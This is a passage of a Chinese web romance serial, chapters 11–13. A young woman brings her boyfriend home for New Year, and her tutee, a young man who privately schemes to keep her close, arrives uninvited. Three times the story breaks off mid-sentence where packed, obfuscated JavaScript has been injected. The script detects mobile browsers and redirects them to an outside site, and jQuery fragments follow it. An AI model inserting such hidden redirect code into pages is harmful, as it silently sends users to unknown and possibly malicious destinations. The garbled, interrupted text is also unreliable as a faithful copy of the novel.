“矜善,一会儿见到你爸妈,如果我有哪里做得不好的,你记得提醒一下我。”谢俊延两只手拎满了东西,一边走一边笑着对贺矜善说着。 贺矜善看他这过分积极的模样总觉得哪里不太对,但一时也说不上来到底是哪里的问题,只以为是自己还因为之前那件事心里不舒服,一边笑着点头答应,一边奇怪自己现在怎么变得这样小气。 贺父贺母听说贺矜善今年要带男朋友回来也很是高兴,前一天就去集市上买了牛羊鱼回来备着,还杀了家里养的鸡鸭,当天天不亮就起来做饭,又红烧又炖汤又清蒸的,快到中午的时候两人进门,桌上已经摆了快一桌的菜。 “爸,妈,我们回来了。” 贺矜善先进门叫人,然后谢俊延跟在贺矜善身后进去,和贺父贺母打招呼。 “爸,妈,这位是我男朋友谢俊延,也是云霞大学的,和我同级,但是是计算机专业的。” “叔叔阿姨好!我是矜善的男朋友谢俊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831973|175606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延,你们叫我小谢就好。” “哦好好好,快进来坐吧。” “叔叔阿姨,这些是晚辈的一点心意,还望你们不要嫌弃。” “不嫌弃不嫌弃,快进来坐!” 之后是贺父和谢俊延坐在客厅里看似闲聊实则各种试探的对话,贺矜善先是被谢俊延拉着一起坐着,贺父问到什么他答不上来的,贺矜善在旁边也就顺带帮衬一下。 但刚坐下不久,贺母就说厨房要帮忙把贺矜善叫走了。 “你这孩子,你爸问别人话你跟着答什么?什么都让你说完了,你爸怎么知道你带回来这小伙子行不行啊?”贺母从盘里拿了个鸡腿给贺矜善,“饿了吧?快吃。” “哦。”贺矜善笑笑,接过鸡腿吃着。 “你俩谈多久了?”贺母边问边准备剩下的菜。 “三年了。” “三年?”贺母很是惊讶,“你这孩子,不声不响地就谈上了,不是说好了要和我们说的吗?” 贺矜善不好意思地笑笑,被贺母伸手戳了戳脑门。 “他家做什么的?”贺母问。 “和咱家一样,也是村子里种地的。” “也是村里的?那家庭条件怎么样?” 贺矜善摇摇头:“我没问过,问人这些不礼貌。” “那他平时给你送礼物什么的,一般都什么价位?” 贺矜善回忆一下,学生时代送女生的礼物,不过就是花束、蛋糕、裙子、包包之类的,价格—— 她脑子里莫名出现祁良安送她的那些东西的价格,但那些,谢俊延一个实习都要留在学校省住宿费的大学生,怎么能承受得起。 贺母看她犹豫:“是不是条件不好啊?” 贺矜善抿了抿唇:“也许吧,但他已经在实习了,听说是一个很有前途的公司。” “很有前途?”贺母皱眉问着,“那不就是现在什么都不是吗?” 很有前途这句话是谢俊延告诉贺矜善的原话,她当时根本没想这么多,现下贺母这么说了句,她才忽然想到这一层。 贺母叹了口气,不打算再问贺矜善别的,让她坐在旁边随便玩玩,自己则继续备菜。 接下来的饭吃得还挺愉快,谢俊延很会说话,夸得贺父贺母全程笑呵呵的,连连夸赞他这孩子一定会有出息,谢俊延也笑着,时不时朝贺矜善眼神询问自己说的话有没有问题,如果贺矜善没有和他对视上,他就找机会给她夹菜,然后再询问。 一顿饭下来,贺矜善莫名觉得累得很,但又觉得自己很奇怪。 男朋友想努力在自己爸妈心中去树立一个良好的形象,按理说她应该感到高兴和欣慰才是,但她现在…… 只觉得疲惫。 既是要成为一家人的人,了解一下喜好和习惯当然是好的,但知道这些不就已经足够了吗?为什么还有每一字每一句都必须往标准答案上靠? 正如贺母叫她进厨房时说的那句一样,什么答案都让她提前透露了,真正考试的时候,又怎么能知道他谢俊延究竟是个什么水平? “矜善?”谢俊延看她吃了饭后一直坐在院子里发呆,过来找她说话,“你怎么了?不舒服吗?” 贺矜善抬头看他一眼,疲惫地微笑一下,摇了摇头。 谢俊延在她身旁蹲下,左右看了看,不大好意思地笑着问她:“刚才我表现得怎么样啊?我好紧张。” 贺矜善看得出他很紧张,虽然自己这会儿情绪有些复杂,但还是先微笑着安慰他:“你表现得很好,我爸妈不是也一直在夸你吗?” 谢俊延看着她笑笑,蛮认真地牵起她的手问她:“矜善,我们会结婚的,对吗?” 贺矜善被他这个问题问得一愣。 这是谢俊延第二次向她问起这个问题,第一次他问的时候,贺矜善虽然觉得意外,但脑子里随便想一想,自己是能接受和他结婚的,但现在…… 贺矜善安静感受着自己的心。 贺矜善,你还愿意吗? “嗯?”谢俊延看她发呆,笑着拉了拉她的手,“在想什么?怎么不回答?” “你上次不是答应了我等我们毕业就结婚吗?”谢俊延仍是笑着,“我们矜善是不会食言的,对吗?” 贺矜善微张着嘴,刚要出声应下,院子外传来一声呼喊。 “矜善!矜善在家吗?” 是住在村口里的林大姨。 贺矜善听见动静,起身过去开门,谢俊延也跟着过去。 门一开,两人都怔住。 “姐姐!新年快乐!” 11. 瑟瑟11 祁良安来得突然,打了所有人一个措手不及。 贺矜善除了惊喜,更多的是意外和心疼,她难以想象祁良安一个连和陌生人说话都会觉得紧张窒息的人是怎么独自从云霞市到圆茶市,再从市里到镇里、最后找到村子,还在村口找了林大姨带他过来。 谢俊延当然是不想让祁良安进门,但祁良安现在是跟着村里其他人找来的,如果现在就将他拦着不让进去,肯定会惹出一些是非,那样的话他刚才努力了大白天营造的好女婿人设可就全废了。 可一旦让祁良安进去,他手里拎着的那些东西可就比自己早上拎过来的要昂贵得多,本来刚才说话的时候贺父贺母话里话外都在问他家条件如何,他费了好大一番功夫才勉强把重点转回了他现在进了不错的项目组,以后潜力很大上。 先不问贺父贺母到底是不是见钱眼开的人,可连贺矜善这样不贪财不好色的人都被祁良安勾得团团转,真要让他进去了,一旦贺父贺母对他的印象更好,不再愿意将女儿嫁给自己,那自己这三年来对贺矜善的付出又算什么? 可偏偏事不如人愿,谢俊延刚想开口阻拦,贺父贺母闻声从屋里出来,看见贺矜善一脸紧张地去接一个帅小伙手里的东西,心里虽有疑惑,但也感受到贺矜善对此人很是看重,连忙出来帮着招呼,还很是诚心地从家里拿了小半筐鸡蛋出来感谢了一路领着他过来的林大姨。 一行人都重新回到家里落座,贺父先开口问正在眼神询问祁良安怎么会过来的贺矜善:“矜善,这位是?” 贺矜善视线询问被打断,转过头来:“爸,这是我在云霞市做家教辅导功课的一个弟弟,叫祁良安,之前和你们提过的。” “叔叔阿姨好!我是祁良安,你们叫我良安就好。”祁良安看贺矜善介绍了自己,赶紧笑着朝贺父贺母打招呼,大方得体,带着少年人特有的真诚和热情。 竟是丝毫不怯场。 贺矜善看着他很是意外。 谢俊延一直在旁边很警惕地观察着,原本还想着照贺矜善的说法,就算是没拦住让他进来了,他那畏畏缩缩前怕狼后怕虎的模样估计也就只有贺矜善会搭理他,结果现在一进来,他竟表现得这样地落落大方,倒是显得自己刚进门时候的紧张拘束太上不得台面。 “良安啊,你怎么突然过来了?”他走上前故意问了句。 贺矜善这才想起来谢俊延也在,而且他一向不喜欢祁良安,上次还误会自己和祁良安之间发生了什么,现在她们上午回了家,下午祁良安就跟了过来,虽然她确实并不知情,但在谢俊延看来,可却不一定是这么回事。 毕竟家庭地址和怎么坐车怎么过来这些东西确实都是她告诉祁良安的。 祁良安看着谢俊延,往贺矜善身后挪了一步,有些紧张的模样,贺矜善看他如此,下意识就抬了抬手臂护着他。 贺父贺母在一旁看得满头雾水,不明白为什么刚才那样阳光帅气的少年遇上谢俊延忽然就害怕成这样,像是生怕谢俊延会欺负他一样,更不明白贺矜善上午回来的时候明确说过男朋友是旁边这位小谢,为什么却又对新来的小祁这样处处维护,互相对视一眼,谁也没说话。 “我……我家里没人,之前矜善姐姐说,我一个人害怕的话,可以来找她的。”祁良安微微低头说了句,看着谢俊延的眼神带着胆怯。 谢俊延看他这模样直皱眉,明明自己什么也没干,怎么就好像已经欺负了他了,他心里很是不快,很想直接开口质问他,贺矜善还算好办,耳根子软,心地也善良,为人实诚没那么多弯弯绕绕,就算现在惹她生气了,过几天随便卖个惨低头哄哄也就过去了,而且贺矜善此人道德感极高,一言既出可谓是驷马难追,只要答应过要嫁给他,一般来说不会后悔。 但问题就是贺父贺母还在旁边,到底是初次登门,到底是还没把婚事谈下来,他最好还是先做出一副好女婿的模样稳妥一些。 谢俊延憋下心中怒火看着祁良安,面上生生挤出一抹大方的笑:“是吗?” 他先是笑着看了眼贺父贺母,又垂眸朝贺矜善笑笑,一副只要贺矜善答应,那他作为男朋友肯定就一定支持绝不吃醋的模样:“那矜善你怎么想?” “怎么想?”他这话实在问得奇怪,贺矜善脑子转了又转才明白他说的应该是要不要留祁良安的意思。 她回过头去问祁良安:“良安,你刚才说家里只有你一个人,是祁教授又走了吗?” 祁良安看着贺矜善可怜巴巴地点头,好看的眼睛里满是祈求:“姐姐……你就收留我几天吧。” “我不会太麻烦你们的。”祁良安垂眸抿了抿唇,声音越来越小,“只要……过了年就好,我不想……过年也一个人。” 贺矜善听他这样说,答应的话在喉咙呼之欲出,如果是之前,她肯定就直接应下了,别说只是住到过年,想住多久就住多久,但她今年回来是带了谢俊延的,目的也不只是为了过年,更多的是为了两人的婚事,谢俊延看样子也是做足了准备要趁着这个机会好好在自己父母面前挣一挣表现的。 虽说在她看来祁良安确实只是个弟弟,不是谢俊延的情敌,并不会影响到他什么,但祁良安一旦住下,那谢俊延说话做事就自然而然地多了个对照,无论是祁良安将他衬托得更好还是更坏,他时时刻刻都要紧绷着一根弦,时间久了,肯定还是要生气的,而且他那么不喜欢祁良安,自己也是知道的,若是坚持把祁良安留下,岂不是等同于直接与他为难吗? 贺母见祁良安第一眼就觉得这孩子长得讨喜,看贺矜善对他的态度,应该也是很喜欢他的,现在听到他说自己大过年的被家人扔在家里,只是想找个有人的地方过年,并不是有意麻烦,而且还很懂事地买了那么多贵重东西才上门来,都已经做得这样合情合理了,态度竟然还能卑微成这样,可想而知这孩子之前的日子过得有多惨。 再想到他看见谢俊延那副胆怯的模样和贺矜善那一脸为难的样子,多少也能猜到谢俊延肯定不是表面上那般大度,心里一边对谢俊延这当面一套背面一套的行为不喜,一边暗暗想着待会儿可要好好提醒一下贺矜善。 她直接走上前开口说:“小祁就留在我们这儿过年吧,阿姨给你做主了。” “真的吗?”祁良安闻言很惊喜地看着贺母笑起来,看见贺母朝他笑着点头,连连说着谢谢。 贺矜善听到贺母开口也很是意外,要知道上午谢俊延进门的时候,她可完全不是这个态度,话里话外都是客套且有所防备,怎么到了祁良安这里…… 贺矜善想到这里忽地一惊。 她刚才……怎么会将祁良安和谢俊延作比? 她不是只把祁良安看作是弟弟吗? “矜善,快带小祁去放一下东西吧,二楼还有客房。”贺母说了句,说是要去喂猪,拉着贺父上一边去了。 贺矜善回过神来,视线冷不丁和祁良安撞在一起,心跳怦怦地连跳好几下,她随便答应一声,错开眼神去拿祁良安的背包。 “我来吧。” “我来吧。” 贺矜善的手刚摸到祁良安的背包带子,耳边同时传来两个人的声音,眼前出现两只手。 贺矜善没抬头,有些紧张地咽了咽,还是把背包递给了谢俊延。 谢俊延接过祁良安背包掂了掂:“这么沉?良安弟弟这是打算一直在这儿住到大年结束吗?” 祁良安接了空,但他也知道是贺矜善这么选只不过是因为身份原因,并不是她不想给他,反正自己也已经住下来了,懒得和谢俊延计较,依旧一副弱者姿态闷声不说话。 贺矜善看他这样委屈,轻轻拽了拽他的袖口:“走吧良安,姐姐带你上去。” “嗯。”祁良安看着贺矜善乖巧地点了点,跟着她的步子上楼。 祁良安没接他的茬,谢俊延还是咽不下这口气,接着说了句:“只怕是要让弟弟失望了,过了初一,矜善就要和我一起去我家见爸妈了。” 贺矜善上楼的脚步一顿,她此刻很想回头瞪谢俊延一眼,明明她都已经将背包给他了,明明他都已经站了上风了,为什么还要一直追着祁良安不放。 明明他知道祁良安心理承受能力不好的。 贺矜善转过身来拉了拉祁良安的手臂,示意他走自己前面,没有看谢俊延。 谢俊延跟在她后面皱眉压着火,贺矜善刚才就将祁良安挡在身后,现在又让祁良安走她前面,像是生怕他欺负了祁良安一样。 这样护犊子的行为在他看来完完全全就是越界了,上楼后他将祁良安的包往房间里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831974|175606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一扔,拉上贺矜善就进了自己的房间,迅速把门关上,动静不大,不会吸引贺父贺母的注意,只要能把祁良安锁在门外就行。 “你干嘛啊?”贺矜善被他拉得手腕疼,“你先放开我。” 谢俊延松开了她,门外一直有祁良安的敲门声,他很是烦躁,但他今天必须问个清楚,哪怕就一句,他也要让贺矜善知道自己才是她的男朋友,就算一时半会儿她改不了,也要让她觉得亏欠自己,之后在贺父贺母面前不能再像刚才那样一直向着祁良安才行。 万一贺父贺母觉得贺矜善比起他更喜欢祁良安,不同意他和贺矜善在一起,那他不仅完成不了答应爸妈今年毕业就娶个不要彩礼的好媳妇回去孝顺照顾他们的事,自己过去三年的所有付出也都会成为笑话。 “你刚才怎么回事?怎么一副好像我会欺负祁良安的模样?” 贺矜善动了动手腕,皱眉说着:“可你本来也知道他情绪不好的啊,为什么非要那么说话?” “我说什么了?”谢俊延说,“我说的难道不是实话吗?” “是实话,但你一定要那么阴阳怪气吗?” “矜善姐姐?你还好吗?”祁良安还在外面喊着。 贺矜善怕他吓到,回答说:“我还好,你别担心。” “真的吗?”祁良安又问了句,“我还是去找阿姨和叔叔上来看看吧,你等等我。” “不用了良安。”贺矜善看了眼谢俊延,叹了口气,“你先去收拾你的吧,我和俊延说会儿话就出来。” “可是姐姐——” “她让你走你听不见吗?”谢俊延压着火朝门外说了句,贺矜善上前拉他的手。 谢俊延烦躁地转向一边,贺矜善出声安慰门外的祁良安:“良安听话,姐姐现在有事。” 祁良安没再应声,贺矜善有点担心他是不是出事,刚想出门看看,被谢俊延一把拉进怀里抱住。 “矜善,我才是你的男朋友,你多关心关心我不行吗?” 他话里忽然没了刚才的怒意,反倒是多了些压不住的委屈,贺矜善很是意外,没再挣扎。 谢俊延埋头抱她更紧:“矜善,我知道你心地善良,帮祁良安只是出于道德,但你能不能多考虑考虑我的感受,我今年第一次来你家,你的重点难道不应该在我身上吗?” “是,他祁良安是一个人,那我不也是一个人吗?我还要随时紧绷着神经,生怕自己表现不好就娶不到你,我这样为了我们的幸福努力,我比他更需要你的关心和保护啊。” 贺矜善听他这么说着,也自省刚才确实有些忽视了他,低头道着歉:“抱歉俊延。” “那你以后还会像刚才那样护着他吗?”他问。 贺矜善没有立刻回答,或者说,她根本就答不上来。 这么半年下来,关心和保护祁良安,几乎已成为她的条件反射,而且祁良安也确实非常需要她的关心和保护。 但谢俊延…… 贺矜善抿了抿唇:“俊延,我也会保护好你的。” “也?”谢俊延松开了她,低头皱眉看着她。 贺矜善看得心揪,解释说:“俊延,良安现在住在我家,我不可能不管他。” 谢俊延转头向一边。 贺矜善为难地皱眉哄着:“俊延……就这么几天而已,初二我们不是就走了吗?” “矜善?矜善在里面吗?”贺父的声音从门外传来,听着有些生气。 贺矜善连忙回答:“我在。” “把门打开。”贺父言简意赅。 “好。” 贺矜善刚想去开门,谢俊延直接反手将门打开,见到贺父的时候,已经收起了刚才的坏情绪:“贺叔叔。” 贺矜善看着他一时哑然。 贺父先是看了眼谢俊延,又将贺矜善上下打量了一下,才简单“嗯”了一声,转身走了。 贺母和祁良安跟在后面,贺母脸上依旧挂着笑,很是热情周到地招呼谢俊延和贺矜善下楼去坐着看电视,祁良安则全程很紧张地看着贺矜善,贺矜善知道他这是不舒服的表现,想要过去安慰他,谢俊延却又还在生气,此刻过去,只怕会火上浇油。 谢俊延视线一直跟随着她,贺矜善没再继续看祁良安,转身下了楼。 12. 瑟瑟12 一连几天,谢俊延都或近或远地跟着贺矜善,确保她不会有和祁良安单独相处的机会。 祁良安明显也是感受到了谢俊延的敌意,贺矜善总是能发现他远远地偷偷看自己,刚被察觉又立刻移开视线,一个人缩在角落,渴望靠近却又害怕靠近,像只可怜的流浪小猫。 倒是贺母还比较喜欢祁良安,常常叫他跟在自己身边帮着择菜挽毛线顺便聊天什么的,贺母笑得乐呵呵的,祁良安也总是被逗得腼腆低头笑笑,贺矜善有时看见了也想过去听听,但她一过去,谢俊延肯定也会过去,到时候祁良安肯定又会觉得很紧张,说不定还会觉得害怕。 一想到祁良安害怕了自己还不能及时去哄,贺矜善就打心底里觉得难受,明明自己答应过他会好好照顾他的,而且他现在还住在她家,还是过年,还是一个人大老远跑来的,而且是为她来的。 年三十这天晚上,贺矜善觉得自己再怎么样也得和祁良安待一会儿,毕竟来者是客,毕竟人家就一小弟弟,毕竟谢俊延是她男朋友,那就也算是半个主人家,哪有主人家闹矛盾牵连到客人的。 而且这客人还是祁良安。 自己去祁良安家的时候,可从没受过这种待遇,哪怕是祁良安不理她的那段时间,也是吃的喝的用的都给她备好了,每天变着法儿地送小礼物。 贺矜善越想越替祁良安觉得委屈,晚上吃过饭,她和谢俊延说了下自己的想法,有理有据且势在必得,谢俊延纵是不愿,也找不出什么错处,而且这么些天他都一直这么盯着贺矜善,贺父贺母明显也是有所不满,反正贺矜善此人很是传统,连婚前性行为都接受不了,每次他想找她亲个嘴都得磨蹭个好几天才能亲上,应该也做不出什么对不起他的事来,干脆松了口,也好给自己以后留个退路。 贺矜善从贺父那里拿了摩托车,叫上祁良安一起去镇上买烟花放。 这次祁良安没有像上次坐她后座时那样扭捏,贺矜善和他说了一下村子里路有多颠簸,万一摔下去有多痛,他就老老实实把双手放她肩膀上了。 贺矜善一路上骑得都挺顺的,就是中途经过一段石子路的时候大概是骑得不够稳,祁良安先是慌乱地小声惊呼一声,然后双手一下子抱在了她的腰间,脸也埋她肩膀上。 贺矜善虽然也和谢俊延谈了这么些年,这些肢体接触也经历过那么几次,但到底也就只有几次,而且除了手臂肩膀这些位置之外,她也没让谢俊延碰过,现在冷不丁被人这么从后面抱住,身体反应敏感到她整个人都抖了一下。 两人贴得很紧,条件反射刚出来,祁良安就感受到了,知道自己冒犯到了贺矜善,连连道歉,但下一个弯的时候他又会害怕得条件反射抱住她。 贺矜善觉得大概是自己刚才夸大其词地说摔下去多可怕给他吓到了,反正祁良安也不是外人,抱一下也没什么,直接说让他就那么抱着,坐稳最重要。 今天是除夕夜,到镇上来买烟花爆竹放的人不少,两人排了好一会儿才买到。 “良安,这个是仙女棒,不响的。”贺矜善还是一副照顾乖巧弟弟的模样,似乎又忘了祁良安现在已经不像从前那样胆小,而且就在前两个月,他们还曾有过一次短暂的争执。 又或者,是祁良安这段时间装得太像,让贺矜善误以为他依然需要她的贴心照顾。 祁良安这次对她对自己的这种养弟弟的态度没有感到任何不悦,反而很开心,甚至开始对自己和贺矜善初几次相处时给她留下的那个深入人心、任凭他之后做多少努力也很难撼动的乖巧腼腆的好弟弟印象感到庆幸。 贺矜善现在还和谢俊延在一起,她那么善良且守礼一个人,如果自己这时候直接向她表明心意,那就相当于告诉她自己想做插足她们感情的第三者,无论是出于道德规范还是出于对他的失望和保护,贺矜善都一定会拒绝他,而且到那时,她肯定也不会再继续做他的家教,说不定还会切断和他的所有联系。 那样的话,他就真的彻底失去她了。 祁良安看着正笑着给自己递烟花棒的贺矜善出神,他怎么会让那样的事发生。 他是一定要让贺矜善永远留在自己身边的。 是她自己先这么说的。 “姐姐会一直在这里守着你,不会离开你。” 所以他现在要让贺矜善认为自己依旧如从前般柔弱不能自理,天真不可玷污,认为自己只是个比较依赖她的弟弟,并没有对她有任何上不得台面的感情。 他要一直以一个可以随意进入她生活空间还会不被驱赶的弟弟的身份赖在她身边。 直到—— “良安?”贺矜善看他半天不回答,晃了晃手中的烟花棒,“是不是不喜欢这个啊?” 贺矜善又从口袋里拿了另一种:“这个呢?这个是灯笼的样式,也很好看的,而且也不响。” 祁良安看着她笑笑,接过她递来的烟花:“那我就放这个。” “姐姐帮你点。” “嗯。” “真乖。” 祁良安看着正在给他点烟花的贺矜善的侧脸,周围喧闹热烈的烟火光影颤悠悠地落在她长睫上,温柔极了,也好看极了。 贺矜善似乎很喜欢夸他乖,也似乎是真的觉得他很乖。 那如果是在那个的时候,她也会夸他乖吗? 如果会的话,应该不会像现在这样只是乖乖站着不动就会被夸,而是应该要做一些,然后才会被夸。 那么,需要他怎么做,她才会夸他? 祁良安喉头忽然发起涩来,他咳嗽两声清了清嗓。 “好了!”贺矜善刚点好烟花,听见他咳嗽,抬手在他额头摸了摸,没发烧。 “感冒了吗?”她放下手问。 祁良安朝她微笑着摇了摇头。 贺矜善看着他身上的衣服,似乎确实有点薄:“那我们快点放了回去了吧,别一会儿真的冻感冒了,大过年的。” “不要。”祁良安拎着正在往外滋滋冒火花烟花低下头说了句。 贺矜善险些以为自己听错:“不要?为什么?” 祁良安抬头看她,嘴角有些委屈地耷拉着:“回去了,你就又不会理我了,话也不和我说,看见我还要躲开。” 他垂眸继续说着,楚楚可怜的模样:“明明你上次答应过不会再不关心我了,结果还是这样。” “一有了男朋友,就把我随随便便丢在一边,不闻不问。” “我……”贺矜善一时无言,心虚且自责地咬了咬下唇。 “抱歉啊良安。”她还是开口道歉,“你俊延哥哥他——” “他才不是我哥。”祁良安抖了抖燃尽的烟花,放到了地上,“他不配。” 贺矜善也知道是因为谢俊延这几天做得太过,惹得祁良安不悦,没再提这个称呼,只说:“他这次是做得有些过,姐姐这几天对你也确实不好。” “但是姐姐向你保证,一定就只有这几天。”贺矜善又递给他一个烟花,“等我从俊——从他家回来了,姐姐一定好好给你赔罪,好吗?” “赔罪?”祁良安转头看她,没有立刻接她递来的烟花。 “嗯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831975|175606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”贺矜善看着他认真点头,又向他那边递了递,“或者良安想要姐姐怎么补偿你?” 补偿。 祁良安看着她,眼里神色晦暗不明。 “良安要什么姐姐都给吗?” 贺矜善认真想了想:“只要是在姐姐力所能及的范围内,就什么都能给。” 祁良安接过她手上的烟花。 正好是个绣球。 “那就这么说定了,我要什么,姐姐就给什么。” “嗯。”贺矜善点头笑笑,“来,姐姐给你点烟花。” 两人就这么在镇上坐着放了好一会儿的烟花,聊着一些七七八八的事儿,祁良安依旧很是乖巧的模样,很少主动开口,大部分都是贺矜善在问,主要她真的太久没和祁良安聊过天了。 她从祁胜与为什么突然把他一个人扔家里,万一他又发烧怎么办,问到祁良安准备过来了怎么也不提前和她说一句,万一路上不安全怎么办,又从祁良安发现自己不理他了之后,有没有特别难过,会不会觉得想家,问到他在这里住得习不习惯,会不会觉得饭不合口味…… “对了!”贺矜善终于想起来,“我妈每天都拉着你说什么啊?我看你们每次都聊得好开心,问她她还不和我说。” 祁良安一直在回答她的问题,嗓子都有些干了,看贺矜善这么有兴致,他低头轻轻笑了笑,故意逗她:“阿姨说不让告诉你来着。” “姐姐有什么不能说的。”贺矜善往他身边又坐了坐,悄悄说着,“而且我妈这会儿又不在,你说了她也不会知道的。” “反正姐姐可是没有秘密瞒着良安的哦。” 祁良安眼神在她眸间辗转几下,错开视线笑着咽了咽,似乎是有些害羞:“就是,问我有没有喜欢的人。” 那就是有了。 贺矜善脸上的笑意戛然而止。 不知为何,她没有继续问下去,而是随便找了个话题带过,简单又聊了几段,然后借口时间不早了,骑车载着祁良安回家。 路上祁良安还是照旧抱着她,她心里莫名抽痛,却怎么也找不到原因,反正回村路上山路颠簸的,抱着也是为了安全。 快到家的时候松开就是。 回去的时候谢俊延脸色不太好看,估计是因为在外面耽搁的时间太久,他又有点生气,但他又不说出来,贺矜善今天实在是没什么精力去哄他,回去简单洗漱了一下就回房间睡觉了。 睡了一觉起来就是大年初一,但贺矜善还是觉得自己情绪怪怪的,总感觉哪里憋得慌,昨晚一直对她冷脸的谢俊延看上去反倒是好了,一直在主动给她盛饭倒茶什么的。 祁良安没什么异常,昨天聊了一下之后他大概也知道她的为难,不再总是自己一个人委屈巴巴地坐在角落惹她心疼,会主动去给贺父贺母帮忙和聊天,偶然和她对上视线,也不总是会立马回避,而是眼睛亮亮地看着她笑笑。 他应该是不想让她再担心,但贺矜善却觉得,他越这样,自己越觉得对他不起。 再想到昨晚提起的那个戛然而止的话题,她就更郁闷了,一整天都没什么笑意。 初二是约好和谢俊延一起去他家的日子,贺矜善原本还担心祁良安一个人回去会不安全,又是春运,人又挤又多,万一有个什么意外那可怎么办,都想好了要不自己先把他送回去再去谢俊延家,结果要走的时候一问,才知道贺父贺母决定留他再玩一段时间,过了大年十五再走,那会儿没什么人了,祁胜与应该也有时间过来接他。 两人简单拜别贺父贺母,坐上了去往常棉市的车。 13. 瑟瑟13 去谢俊延家前,贺母专门找到贺矜善提醒了两件事:真诚,并擦亮眼。 真诚那是一定的,与人相处,只有真心才能换真心,更何况这是去自己男朋友家,当然更要以诚相待。 但擦亮眼……贺矜善不是很懂。 去的路上贺矜善一直在想贺母的话,但想着想着就想到站在贺母身边的悄咪咪和她招手挥别的祁良安。 “就是问我,有没有喜欢的人。” 祁良安那天说这话时的表情又一次浮现在她眼前,贺矜善莫名叹了口气。 而后忽然心惊。 是啊,都过去两天了,她为什么还是一想起来心里就十分地憋闷? 原因到底是什么? 又或者说,她迟迟假装想不到,到底是在逃避什么? “在担心一会儿见家长的事吗?”和她一起拎着礼盒往家走着的谢俊延忽然笑着开口问她,“眉毛都皱成一团了。” “不用担心什么,我爸妈都挺好相处的。”谢俊延宽慰她说,“对儿媳妇也没什么要求,为人踏实贤惠,勤快能干就好,你就很好啊。” 贺矜善抬头看着谢俊延,明明知道他这是在夸她,但就是总觉得哪里不舒服。 贺矜善,只有为人踏实贤惠和勤快能干这两个优点吗? 而且……这些真的是优点吗? “姐姐,这些我来做就好。” “姐姐,你去旁边休息一下,不要总是忙来忙去的。” “小贺同学,这些事我来做就好,我刘芳英就是靠这个吃饭的,你都做了,我就该被开除了。” “反正我觉得,如果有人夸我贤惠,那就是找打。” “矜善,擦亮眼。” …… 耳边一下子响起好多人的话,贺矜善一时有些头昏脑涨。 想着他到底是一番好意,贺矜善还是微笑着点了点头:“嗯。” 谢俊延笑着抬手在她头上摸了摸:“别怕矜善,不是还有我在吗?” 还有谢俊延在。 贺矜善迟钝地点了点,没说话。 谢俊延家条件虽然和贺矜善设想的还要差,但也没有特别让她意外。 靠种地生活,不富裕,但也不算特别穷,再怎么说也是把谢俊延供出来了的,就是看见一大家子人住在一栋房子挤着的那一幕,还是不由得皱紧了眉。 而且他还有个刚上初中的弟弟,贺矜善也是第一次知道。 “俊延,我怎么好像从来没提到过你还有个弟弟啊?”贺矜善和谢家人打了招呼,一边往屋里走一边问旁边的谢俊延。 谢俊延神色看上去有些慌,伸手揽住贺矜善:“提到过啊,肯定是你忘了。” 贺矜善忽然有点抗拒他的接触,皱眉加快脚步进去放东西。 “小贺,东西就放这里吧。”谢母笑着招呼她,“会做饭吗?快进来帮我一下,今天几个叔叔都来了,一大家子人等着呢。” 贺矜善刚放下东西起身,听见这话,觉得很是意外。 “妈。”谢俊延走过去阻拦,“人家矜善刚来。” “哦!”谢母笑起来,朝贺矜善道歉,“不好意思啊小贺,我就是忙糊涂了,来者是客,你先坐着。” 贺矜善笑了笑,不知道该说什么。 她看向一旁的坐满了岔着腿抽着烟的男人们的……沙发? 也没有很想坐。 “矜善,我带你上楼放行李吧。”谢俊延笑着过来牵她的手。 贺矜善沉默地点了点。 兜里的手机在响,是贺母。 “俊延,我接个电话。”贺矜善说了句。 屋子里男人们大声说话的声音过于吵闹,她拿着电话往屋子外走去。 “俊延,你媳妇儿去哪儿啊?” “她接电话。” “接个电话还——” 贺矜善听得烦,加快脚步小跑了出去。 “妈?怎么了?” 话音刚落,电话里传来贺母焦急万分的声音:“矜善!良安出事了,你赶紧回来一趟!快点!” “到底怎么了?生病了吗还是怎么?” “他现在还在我们家吗?” “妈你说话啊!” 贺母那边是一阵吵闹:“矜善你快回来!我们现在在联系良安的父亲,先挂了!” 祁良安出事了,出大事了。 她得回去!她必须马上回去! 贺矜善脑子里只有这么一个念头,她立刻转身回去拿包,正好撞上追出来的谢俊延:“矜善?你怎么了?谁的电话?” 贺矜善忙着回去拿东西,绕开他跑了进去。 “矜善!”谢俊延跟过来拉住她的手,也很是着急,“到底出什么事了?” 贺矜善挣扎着甩开他,一边快走拿包一边说着:“我妈打电话让我赶紧回去。” “阿姨打电话让你回去?”谢俊延皱眉,“为什么?昨天不还说得好好的吗?” “唉?俊延媳妇?你这是要走了吗?”一个贺矜善不认识的男人开口说了句。 